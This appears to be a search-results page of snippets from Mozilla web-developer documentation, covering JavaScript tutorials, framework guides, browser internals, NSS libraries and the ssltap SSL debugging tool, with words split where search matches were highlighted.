t-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting this. if you are not familiar with the concept of asynchronous progra
mming, you should definitely start with the general asynchronous progra
mming concepts article in this module. if you are, then you can probably skip to the introducing asynchronous javascript module. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as js...
...you should understand these concepts before working through the other articles in the module. ...
...ynchronous javascript module. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as jsbin or glitch. guides general asynchronous progra
mming concepts in this article we'll run through a number of important concepts relating to asynchronous progra
mming, and how this looks in web browsers and javascript. you should understand these concepts before working through the other articles in the module. introducing asynchronous javascript in this article we briefly recap the problems associated with sychronous javascript, and take a first look at some of the different asynchronous javascript techniques you'll encounter, showing how they can help...
...And 3 more matches
JavaScript building blocks - Learn web development
you've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...asics of html and css, and you should have also worked through our previous module, javascript first steps. note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides making decisions in your code — conditionals in any progra
mming language, code needs to make decisions and carry out actions accordingly depending on different inputs. for example, in a game, if the player's number of lives is 0, then it's game over. in a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. in this article we'll explore how conditional structures work in javascript. loopin...
..., in a game, if the player's number of lives is 0, then it's game over. in a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. in this article we'll explore how conditional structures work in javascript. looping code sometimes you need a task done more than once in a row. for example, looking through a list of names. ...
...And 3 more matches
Client-side storage - Learn web development
es depending on the browser and possibly based on user settings. see browser storage limits and eviction criteria for more information. old school: cookies the concept of client-side storage has been around for a long time. since the early days of the web, sites have used cookies to store information to personalize user experience on websites. they're the earliest form of client-side storage co
mmonly used on the web. these days, there are easier mechanisms available for storing client-side data, therefore we won't be teaching you how to use cookies in this article. however, this does not mean cookies are completely useless on the modern-day web — they are still used co
mmonly to store data related to user personalization and state, e.g. session ids and access tokens. for more informatio...
...ally submitting itself when the submit button is pressed, as this is not the behavior we want. add this snippet below your previous code: // stop the form from submitting when a button is pressed form.addeventlistener('submit', function(e) { e.preventdefault(); }); now we need to add an event listener, the handler function of which will run when the "say hello" button is clicked. the co
mments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using setitem(), then running a function called namedisplaycheck() that will handle updating the actual website text. add this to the bottom of your code: // run function when the 'say hello' button is clicked submitbtn.addeventlistener(...
...ere we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of idb as we go along. the app looks something like this: each note has a title and some body text, each individually editable. the javascript code we'll go through below has detailed co
mments to help you understand what's going on. getting started first of all, make local copies of our index.html, style.css, and index-start.js files into a new directory on your local machine. have a look at the files. you'll see that the html is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering ne...
...And 3 more matches
Third-party APIs - Learn web development
et's look at a simple mapquest api example, and use it to illustrate how third-party apis differ from browser apis. note: you might want to just get all our code examples at once, in which case you can then just search the repo for the example files you need in each section. they are found on third-party servers browser apis are built into the browser — you can access them from javascript i
mmediately. for example, the web audio api we saw in the introductory article is accessed using the native audiocontext object. for example: const audioctx = new audiocontext(); ... const audioelement = document.queryselector('audio'); ... const audiosource = audioctx.createmediaelementsource(audioelement); // etc. third party apis, on the other hand, are located on third party servers. to acc...
...his api allows you to retrieve new york times news story information and display it on your site. this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific urls, with data like search terms and other properties encoded in the url (often as url parameters). this is a co
mmon pattern you'll encounter with apis. an approach for using third-party apis below we'll take you through an exercise to show you how to use the nytimes api, which also provides a more general set of steps to follow that you can use as an approach for working with new apis. find the documentation when you want to use a third party api, it is essential to find out where the documentation is, s...
... app. in the case of this api, you need to include the api key as a get parameter every time you request data from the service at the correct url. find the following line: let key = ' ... '; replace the existing api key with the actual api key you got in the previous section. add the following line to your javascript, below the "// event listeners to control the functionality" co
mment. this runs a function called submitsearch() when the form is submitted (the button is pressed). searchform.addeventlistener('submit', submitsearch); now add the submitsearch() and fetchresults() function definitions, below the previous line: function submitsearch(e) { pagenumber = 0; fetchresults(e); } function fetchresults(e) { // use preventdefault() to stop the form submi...
...And 3 more matches
Video and Audio APIs - Learn web development
prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use browser apis to control video and audio playback. ...
... a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls. if you don't specify this, you get no playback controls: this is not as i
mmediately useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! another big issue is that the native controls in most browsers aren't very keyboard-accessible. you can solve both these problems by hiding the native controls (by removing the controls attribute), a...
...useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! another big issue is that the native controls in most browsers aren't very keyboard-accessible. you can solve both these problems by hiding the native controls (by removing the controls attribute), and progra
mming your own with html, css, and javascript. in the next section we'll look at the basic tools we have available to do this. the htmlmediaelement api part of the html5 spec, the htmlmediaelement api provides features to allow you to control video and audio players progra
mmatically — for example htmlmediaelement.play(), htmlmediaelement.pause(), etc. this interface is available to both <audio> ...
...And 3 more matches
Inheritance in JavaScript - Learn web development
e interested in checking out some of the new ecmascript features that allow us to do inheritance more cleanly in javascript (see classes). we didn't cover those here, as they are not yet supported very widely across browsers. all the other code constructs we discussed in this set of articles are supported as far back as ie9 or earlier, and there are ways to achieve earlier support than that. a co
mmon way is to use a javascript library — most of the popular options have an easy set of functionality available for doing inheritance more easily and quickly. coffeescript for example provides class, extends, etc. a further exercise in our oop theory section, we also included a student class as a concept, which inherits all the features of person, and also has a different greeting() method fro...
...is much more informal than the teacher's greeting. have a look at what the student's greeting looks like in that section, and try implementing your own student() constructor that inherits all the features of person(), and implements the different greeting() function. note: if you have trouble getting this to work, have a look at our finished version (see it running live also). object member su
mmary to su
mmarize, you've got four types of property/method to worry about: those defined inside a constructor function that are given to object instances. these are fairly easy to spot — in your own custom code, they are the members defined inside a constructor using the this.x = x type lines; in built in browser code, they are the members only available to object instances (usually created ...
...n custom code, they are the members defined inside a constructor using the this.x = x type lines; in built in browser code, they are the members only available to object instances (usually created by calling a constructor using the new keyword, e.g. let myinstance = new myconstructor()). those defined directly on the constructor themselves, that are available only on the constructor. these are co
mmonly only available on built-in browser objects, and are recognized by being chained directly onto a constructor, not an instance. for example, object.keys(). these are also known as static properties/methods. those defined on a constructor's prototype, which are inherited by all instances and inheriting object classes. these include any member defined on a constructor's prototype property, e.g. ...
...And 3 more matches
Object prototypes - Learn web development
ercises.html example (see also the source code), if you don't already have it from working through the last article. ...
...arlier. you'll see other examples of prototype chain inheritance all over javascript — try looking for the methods and properties defined on the prototype of the string, date, number, and array global objects, for example. these all have a number of members defined on their prototype, which is why for example when you create a string, like this: let mystring = 'this is my string.'; mystring i
mmediately has a number of useful methods available on it, like split(), indexof(), replace(), etc. note: it is worth reading our more in-depth guide to "using prototypes in javascript", once you've made sense of this section and wish to know more. this section is intentionally simplified to make these concepts a little easier to understand when you first meet them. important: the prototype pro...
...will see in the next section, properties defined on the person.prototype property (or in general on a constructor function's prototype property, which is an object, as mentioned in the above section) become available to all the instance objects created using the person() constructor. hence, the constructor property is also available to both person1 and person2 objects. for example, try these co
mmands in the console: person1.constructor person2.constructor these should both return the person() constructor, as it contains the original definition of these instances. a clever trick is that you can put parentheses onto the end of the constructor property (containing any required parameters) to create another object instance from that constructor. the constructor is a function after all...
...And 3 more matches
Aprender y obtener ayuda - Learn web development
what follows are some tips to stay motivated and keep working: try to make...
...what follows are some tips to stay motivated and keep working: try to make your work environment as productive as possible. ...
...for a bit, then relax with a drink before getting back to work, and as we said earlier, the diffuse learning you do in that time can often help you to figure out a solution to the problem you were facing. it is also physically bad to work for too long without a break — looking at a monitor for too long can hurt your eyes, and sitting still for too long can be bad for your back or legs. we'd reco
mmend taking a 15 minutes break every hour to 90 minutes. eat, exercise, and sleep. eat healthily, get regular exercise, and make sure you get enough sleep. this sounds obvious, but it is easy to forget when you get really into coding. factor these essential ingredients into your schedule, and make sure you are not doing your learning time instead of these things. give yourself rewards. it's true ...
...And 3 more matches
Componentizing our React app - Learn web development
e we can make it do things, we need to break it apart into manageable, descriptive components. react doesn’t have any hard rules for what is and isn’t a component – that’s up to you! in this article we will show you a sensible way to break our app up into components. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. objective: to show a sensible way of breaking our todo list app into components. defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an obvious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component. that second bullet is especially valuab...
...: to show a sensible way of breaking our todo list app into components. defining our first component defining a component can seem tricky until you have some practice, but the gist is: if it represents an obvious "chunk" of your app, it's probably a component if it gets reused often, it's probably a component. that second bullet is especially valuable: making a component out of co
mmon ui elements allows you to change your code in one place and see those changes everywhere that component is used. you don't have to break everything out into components right away, either. let's take the second bullet point as inspiration and make a component out of the most reused, most important piece of the ui: a todo list item. make a <todo /> before we can make a component, we should crea...
...mponent is used. you don't have to break everything out into components right away, either. let's take the second bullet point as inspiration and make a component out of the most reused, most important piece of the ui: a todo list item. make a <todo /> before we can make a component, we should create a new file for it. in fact, we should make a directory just for our components. the following co
mmands make a components directory and then, within that, a file called todo.js. make sure you're in the root of your app before you run these! mkdir src/components touch src/components/todo.js our new todo.js file is currently empty! open it up and give it its first line: import react from "react"; since we're going to make a component called todo, you can start adding the code for that to todo...
...And 3 more matches
Getting started with Svelte - Learn web development
ide a quick introduction to the svelte framework. we will see how svelte works and what sets it apart from the rest of the frameworks and tools we've seen so far. then we will learn how to setup our development environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. svelte is a compiler that generates minimal and highly optimized javascript code from our sources; you'll need a terminal with node + npm installed to compile and build your app. objective: to setup a local svelte development environment, create and b...
... alienate developers. in fact, you will be mostly working with vanilla javascript. first steps with svelte being a compiler, you can't just add a <script src="svelte.js"> tag to your page and import it into your app. you'll have to set up your development environment in order to let the compiler do its job. requirements in order to work with svelte you need to have node.js installed. it's reco
mmended that you use the long-term support (lts) version. node includes npm (the node package manager), and npx (the node package runner). note that you can also use the yarn package manager in place of npm, but we'll assume you are using npm in this set of tutorials. see package management basics for more information on npm and yarn. if you're using windows, you will need to install some software ...
...the node package manager), and npx (the node package runner). note that you can also use the yarn package manager in place of npm, but we'll assume you are using npm in this set of tutorials. see package management basics for more information on npm and yarn. if you're using windows, you will need to install some software to give you parity with unix/macos terminal in order to use the terminal co
mmands mentioned in this tutorial. gitbash (which comes as part of the git for windows toolset) or windows subsystem for linux (wsl) are both suitable. cmder is another very good and complete alternative. see co
mmand line crash course for more information on these, and on terminal co
mmands in general. also see the following for more information: "what is npm" on nodejs.org "introducing npx" on ...
...And 3 more matches
Implementing feature detection - Learn web development
urrent browser, and then conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't. if you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. let's recap and look at the example we touched on in our handling co
mmon javascript problems — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object. therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolo...
...kit (9+/9.2+), whereas the javascript version should work in much older browsers (probably back to ie8 or 9, although older versions of ie will have additional problems, such as not supporting document.queryselector, and having a messed up box model). javascript we already saw an example of a javascript feature detection test earlier on. generally, such tests are done via one of the following co
mmon patterns: su
mmary of javascript feature detection techniques feature detection type explanation example if member in object check whether a certain method or property (typically an entry point into using the api or other feature you are detecting for) exists in its parent object. if("geolocation" in navigator) { ... } property on element ...
...nvas"), myoptions); }); } else { const para = document.createelement('p'); para.textcontent = 'argh, no geolocation!'; document.body.appendchild(para); } try your example out! here we use the modernizr.geolocation test to check whether geolocation is supported by the current browser. if it is, we run some code that gets your device's current location, and plots it on a google map. su
mmary this article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the modernizr library to implement tests more easily. next up, we'll start looking at automated testing. previous overview: cross browser testing next in this module introduction to cross browser t...
...And 3 more matches
Cross browser testing - Learn web development
get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most co
mmon types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some v...
... next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups. handling co
mmon html and css problems with the scene set, we'll now look specifically at the co
mmon cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling re...
...'ll now look specifically at the co
mmon cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. handling co
mmon javascript problems now we'll look at co
mmon cross-browser javascript problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more. ...
...And 3 more matches
A bird's-eye view of the Mozilla framework
ture of the source tree. the code samples in the article are based on mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9a1) gecko/20051104 seamonkey/1.1a from a new source tree checked out 11/04/05. the build id is 2005110409. thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ progra
mming languages, object-oriented progra
mming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl). organization this article first covers some conceptual groundwork, then walks through a user scenario to illustrate how key mozilla architectural components work together to support a simplehelp viewer ui action. f...
...ther to support a simplehelp viewer ui action. framework layers at a high level, you can think of the mozilla framework as consisting of a suite of applications, each of which is organized into three basic layers depicted in figure 1. figure 1. user interface (ui) widgets and services the x window system toolkit defines the termwidget as a pre-defined object that encapsulates both the co
mmand actions and data associated with a graphical user interface (gui) control. the various x toolkit implementations provide a set of widgets for ui controls such as menus, co
mmand buttons, dialog boxes and scroll bars. the mozilla xptoolkit module provides a similar set of facilities for building cross-platform ui controls implemented as xml user interface language (xul) packages. a xul package c...
... implementing the ui behavior a package (also known as chrome) is really just a bundling of a set of ui widgets and associated services implementing a particular application feature. chrome and extensions are examples of packages. content (dom) the mozilla document object model (dom) specifies a logical tree structure for storing ui and document content, and provides an api (application progra
mming interface) for accessing and manipulating the content. an application such as the browser may have one or more open documents accessible via dom apis. when an html, xml, svg or other type of document is loaded, the nglayout engine (also known as gecko) parses the contents into a dom tree, and handles the layout and rendering of the document pages. the nglayout engine also parses xul ui control...
...And 3 more matches
SVG Guidelines
d=" m5,5 l1,1z "> can be cut down to this: <path d="m5,5 l1,1z"> similarly, this polygon: <polygon points=" 0,0 4,4 4,0 "/> can be cut down to this: <polygon points="0,0 4,4 4,0"/> line breaks you should only use line breaks for logical separation or if they help make the file readable. you should avoid line breaks between every single element or within attribute values. it's reco
mmended to put the attributes on the same line as their tag names, if possible. you should also put the shortest attributes first, so they are easier to spot. unused tags and attributes editor metadata vector editors (inkscape, adobe illustrator, sketch) usually add a bunch of metadata in svg files while saving them. metadata can mean many things, including: the typical "created with editor" ...
...ded to put the attributes on the same line as their tag names, if possible. you should also put the shortest attributes first, so they are easier to spot. unused tags and attributes editor metadata vector editors (inkscape, adobe illustrator, sketch) usually add a bunch of metadata in svg files while saving them. metadata can mean many things, including: the typical "created with editor" co
mments non-standard editor specific tags and attributes (sketch:foo, illustrator:foo, sopodi:foo, …) the xml namespace definition that comes with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists. typical examples of this are <title> and <desc> tags. although this kind of data is supported by the br...
...with the latter (xmlns:sketch, xmlns:sopodi, …) other metadata in addition to non-standard editor metadata, standard compliant metadata also exists. typical examples of this are <title> and <desc> tags. although this kind of data is supported by the browser, it can only be displayed when the svg is opened in a new tab. plus, in most of the cases, the filename is quite descriptive so it's reco
mmended to remove that kind of metadata since it doesn't bring much value. you shouldn't include doctypes in your svgs either; they are a source of many issues, and the svg wg reco
mmends not to include them. see svg authoring guidelines. avoid the use of cdata sections cdata sections are used to avoid parsing some text as html. most of time, cdata isn't needed, for example, the content in <style>...
...And 3 more matches
Performance best practices for Firefox front-end engineers
itial construction of the xul document faster. get familiar with the pipeline that gets pixels to the screen learn how pixels you draw make their way to the screen. knowing the path they will take through the various layers of the browser engine will help you optimize your code to avoid pitfalls. the rendering process goes through the following steps: the above image is used under creative co
mmons attribution 3.0, courtesy of this page from our friends at google, which itself is well worth the read. for a very down-to-earth explanation of the style, layout, paint and composite steps of the pipeline, this hacks blog post does a great job of explaining it. to achieve a 60 fps frame rate, all of the above has to happen in 16 milliseconds or less, every frame. note that requestanimati...
...dom nodes. because styles are normally scoped to the entire document, the cost of doing these style calculations is proportional to the number of dom nodes in the document (and the number of styles being applied). it is expected that over time, script will update the dom, requiring us to recalculate styles. normally, the changes to the dom just result in the standard style calculation occurring i
mmediately after the javascript has finished running during the 16ms window, inside the "style" step. that's the ideal scenario. however, it's possible for script to do things that force multiple style calculations (or style flushes) to occur synchronously during the javascript part of the 16 ms window. the more of them there are, the more likely they'll exceed the 16ms frame budget. if that happen...
......
...And 3 more matches
Add-on Repository
the add-on repository is responsible for finding available add-ons; it provides an interface for interacting with the addons.mozilla.org (amo) site. its api provides urls that can be visited to browse the repository's add-ons. the api also offers two ways to search for and retrieve an array of addon instances: retrievereco
mmendedaddons(), which returns a list of reco
mmended add-ons, and searchaddons(), which performs a search of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed. addonrepository can only process one search at a ...
...rch of the repository. these searches are asynchronous; results are passed to the provided searchcallback object when the search is completed. results passed to the searchcallback object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed. addonrepository can only process one search at a time. ...
...plication and are not already installed or in the process of being installed. addonrepository can only process one search at a time. a new search will i
mmediately fail if the addonrepository is already handling another search request. ...
...And 3 more matches
MathML Torture Test
/math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityripple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </
mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> ...
... </msup> <msup> <mi>y</mi> <mn>۲</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </
mmultiscripts> </mrow> </math> </td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> ...
.../mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </
mmultiscripts> </mrow> </math> </td> <td> <math dir="rtl" display="block"> <!-- <mrow> <msub><mi></mi><mn>٢</mn></msub> <msub><mi>f</mi><mn>٣</mn></msub> </mrow> --> <mrow> <
mmultiscripts> <mi>f</mi> <mn>٣</mn><none/> <mprescripts/> <mn>٢</mn><none/> </
mmultiscripts> </mrow> </math> </td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>۲</mn></msub> <msub><mi>f</mi><mn>۳</mn></msub> </mrow> --> ...
...And 3 more matches
Mozilla Web Developer FAQ
d document.getelementbyid() can be used instead. in the standards mode mozilla does not generate implicit top-level javascript variable bindings for elements with the id or name attribute. the correct way to access an element by id is to call the document.getelementbyid() method with the id as a string as the argument. also, old client sniffers can shut out new browsers. the point of having a co
mmon api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose. when working with the dom, it is better to check for the existence of the methods and objects you are planning on using. for example, the existence of document.getelementbyid() can be checked as follows: if(document.getelementbyid) { /* code that uses document.getelementbyid() */ } why doesn...
... browser defeats that purpose. when working with the dom, it is better to check for the existence of the methods and objects you are planning on using. for example, the existence of document.getelementbyid() can be checked as follows: if(document.getelementbyid) { /* code that uses document.getelementbyid() */ } why doesn’t mozilla display my alt tooltips? contrary to a popular belief ste
mming from the behavior of a couple browsers running on the windows platform, alt isn’t an abbreviation for ‘tooltip’ but for ‘alternative’. the value of the alt attribute is a textual replacement for the image and is displayed when the image isn’t. mozilla doesn’t display the alt attribute as a tooltip, because it has been observed that doing so encourages authors to misuse the attri...
...e, to use a dingbat, you should use the appropriate unicode character instead of trying to apply a dingbat font to an ascii character. for example, to represent ☺, you should use white smiling face (u+263a). why isn’t mozilla rendering my page as i intended? so my page isn’t standards-compliant, but good browsers should render pages as the author intended anyway! authors are supposed to co
mmunicate their intentions using the web standards. otherwise, finding out the intentions of each particular author would require psychic abilities which can’t be implemented in software. even in cases where a human could deduce the intention, doing so in software would be very slow, bug-inducing, difficult and complicated. the usual counter argument is that there is no need to guess—mozilla sh...
...And 3 more matches
about:memory
firefox's memory usage. perhaps you want to investigate it yourself, or perhaps someone has asked you to use about:memory to generate "memory reports" so they can investigate a problem you are having. follow these steps. at the moment of interest (e.g. once firefox's memory usage has gotten high) open a new tab and type "about:memory" into the address bar and hit "enter". if you are using a co
mmunication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button. this will open a file dialog that lets you save the memory reports to a file of your choosing. (the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately. the recipients will be able to view the contents of this file within about:memory in their own...
..., such as bugzilla or email, click on the "measure and save..." button. this will open a file dialog that lets you save the memory reports to a file of your choosing. (the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately. the recipients will be able to view the contents of this file within about:memory in their own firefox instance. if you are using a co
mmunication channel where only text can be sent, such as a co
mment thread on a website, click on the "measure..." button. this will cause a tree-like structure to be generated text within about:memory. this structure is just text, so you can copy and paste some or all of this text into any kind of text buffer. (you don't need to take a screenshot.) this text contains fewer measurements than a memory...
...th, as needed. all the measurements within a single tree are non-overlapping. tree paths can be written using '/' as a separator. for example, preference/referent/weak/dead represents the path to the final leaf node in the example tree above. sub-trees can be collapsed or expanded by clicking on them. if you find any particular tree overwhelming, it can be helpful to collapse all the sub-trees i
mmediately below the root, and then gradually expand the sub-trees of interest. sections memory reports are displayed on a per-process basis, with one process per section. within each process's measurements, there are the following subsections. explicit allocations this section contains a single tree, called "explicit", that measures all the memory allocated via explicit calls to heap allocation...
...And 3 more matches
Research and prep
productization is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to reco
mmended sites on the in-product pages as it relates to their locale. it is one of the most customizable and localizable parts of the product l10n process, as it goes beyond string translation. we believe that localization teams are in the best position to provide reco
mmendations on what local providers we can use for web services because you're in the market, work in the language, and know your users. this is, therefore, meant to be a guideline for how you should be formulating your reco
mmendations. here's the basic process: file a bug under mozilla localizations>[your_locale] to request updates t...
...ations>[your_locale] to request updates to your locale's productization preferences. if this is your first localization for a product, the l10n drivers will file this bug as part of the new product localization release process. it is your l10n team's responsibility to perform research and identify the most appropriate web services for your region and present them in your bug as your informed reco
mmendations. if there's no existing collaboration with the site provider and mozilla, ask for permission from the site provider to include it. ensure that your suggestions follow these parameters: search there are typically five search plug-ins listed for firefox desktop (only four for firefox mobile): generic search the default option should expose the quickest path to the best result o...
...ocal language provider, meaning coverage within the local language and/or locale (indexing a smaller portion of the www but producing better local language results). local search a good test is if you were to run a set of comparative queries; the secondary engine should produce the best local language results and the primary/default position should produce the best global results. e-co
mmerce search these search engines should allow users to get connected to new and used products they want to buy as quickly and painlessly as possible in a "trusted" site -- for example, choosing the most popular auction, general shopping, or classified type sites that have the desired user experience are good choices. there should be no more than two. specific interest search where user...
...And 3 more matches
Introduction to NSPR
the netscape portable runtime (nspr) api allows compliant applications to use system facilities such as threads, thread synchronization, i/o, interval timing, atomic operations, and several other low-level services in a platform-independent manner. this chapter introduces key nspr progra
mming concepts and illustrates them with sample code. the current implementation of nspr allows developers to compile a single source code base on macintosh (ppc), win32 (nt 3.51, nt 4.0, win'95), and over twenty versions of unix. nspr does not provide a platform for porting existing code. it must be used from the beginning of a software project. nspr naming conventions naming of nspr types, functions, and macros follows the following conventions: types exported by nspr begin with pr and are followed ...
...n thread synchronization has two aspects: locking and notification. locking prevents access to some resource, such as a piece of shared data: that is, it enforces mutual exclusion. notification involves passing synchronization information among cooperating threads. in nspr, a mutual exclusion lock (or mutex) of type prlock controls locking, and associated condition variables of type prcondvar co
mmunicate changes in state among threads. when a progra
mmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data. locks and monitors in general, a monitor is a conceptual entity composed of a mutex, one or more condition variables, and the monitored data. monitors in this generic sense should not be confused with the monitor type used in ...
...in addition to prlock, nspr provides another mutex type, prmonitor, which is reentrant and can have only one associated condition variable. prmonitor is intended for use with java and reflects the java approach to thread synchronization. ...
...And 3 more matches
NSS API Guidelines
e nss sources, and guidelines for writing nss code. these guidelines will familiarize you with some of the ways things can be done in the nss code. this will help you understand existing nss code. it should also help you understand how to write new code, and where to place it. some of the guidelines in this document, are more forward-looking than documentary. these rules are here to help us all i
mmediately achieve more consistent and usable code, but some existing code won't follow all these rules. nss api structure this section explains the structure and relationships of the nss libraries. the layering section explains how the nss code is layered, and how higher-level functions wrap low-level functions. the libraries section descibes the nss libraries, the functionality each provides...
...h, certdb.h, cert.h, certt.h certhi provides high-level certificate-related functions, that do not access the certificate database, nor individual certificate data directly. currently, ocsp checking settings are exported through certhi. ...
...ficate-related functions, that do not access the certificate database, nor individual certificate data directly. currently, ocsp checking settings are exported through certhi. high cert lib/certhigh ocsp.h, ocspt.h crmf provides functions, and data types, to handle certificate management message format (c
mmf) and certificate request message format (crmf, see rfc 2511) data. c
mmf no longer exists as a proposed standard; c
mmf functions have been incorporated into the proposal for certificate management protocols (cmp). same level as ssl lib/crmf c
mmf.h, crmf.h, crmft.h, c
mmft.h, crmffut.h cryptohi provides high-level cryptographic support operations: such as signing, verifying signatures, key generation, key manipulation, hashing; and data types. thi...
...And 3 more matches
PKCS #11 Module Specs
re the nss application specific parameters in use. this data is currently stored in secmod.db or pkcs11.txt. this isn't part of the generic spec (that is other applications need not parse it, nor pkcs #11 modules need supply them or use them). nss="nss_params" nss_params are themselves name/value pairs, parsed with the same rules described above. valid names inside nss_params are: flags - co
mma separated list of flag values, parsed case-insensitive. valid flag values are: internal - this library is actually the netscape internal library fips - this library is the netscape internal fips library. critical - if this library cannot be loaded, completely fail initialization. moduledb - this library includes nss specific functions to supply additional module specs for loading. mod...
...by tokens on this pkcs #11 library should be rolled up. '0' means that tokens on this library should not supply trust information (default). the relative order of two pkcs#11 libraries which have the same trustorder value is undefined. cipherorder - integer value specifiying the order in which tokens are searched when looking for a token to do a generic operation (des/hashing, etc). ...
... valid flags are: rsa - this token should be used for all rsa operations (other than private key operations where the key lives in another token). ...
...And 3 more matches
NSS tools : ssltab
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware co
mmand-line proxy. it watches tcp connections and displays the data going by. if a connection is ssl, the data display includes interpreted ssl records and handshaking options -v print a version string for the tool. -h turn on hex/ascii printing. instead of outputting raw data, the co
mmand interprets each record as a numbered line of hex values, followed by the same data as ascii characters. the two parts are separated by a vertical bar. nonprinting characters are replaced by dots. -f turn on fancy printing. output is printed in colored html. data sent from the client to the server is in blue; the serv...
...te. -p port change the default rendezvous port (1924) to another port. the following are well-known port numbers: * http 80 * https 443 * smtp 25 * ftp 21 * imap 143 * imaps 993 (imap over ssl) * nntp 119 * nntps 563 (nntp over ssl) usage and examples you can use the ssl debugging tool to intercept any connection information. although you can run the tool at its most basic by issuing the ssltap co
mmand with no options other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following co
mmand from a co
mmand shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the ...
...data sent from the client to the server is surrounded by the following symbols: --> [ data ] data sent from the server to the client is surrounded by the following symbols: "left arrow"-- [ data ] the raw data stream is sent to standard output and is not interpreted in any way. ...
...And 3 more matches
NSS tools : ssltap
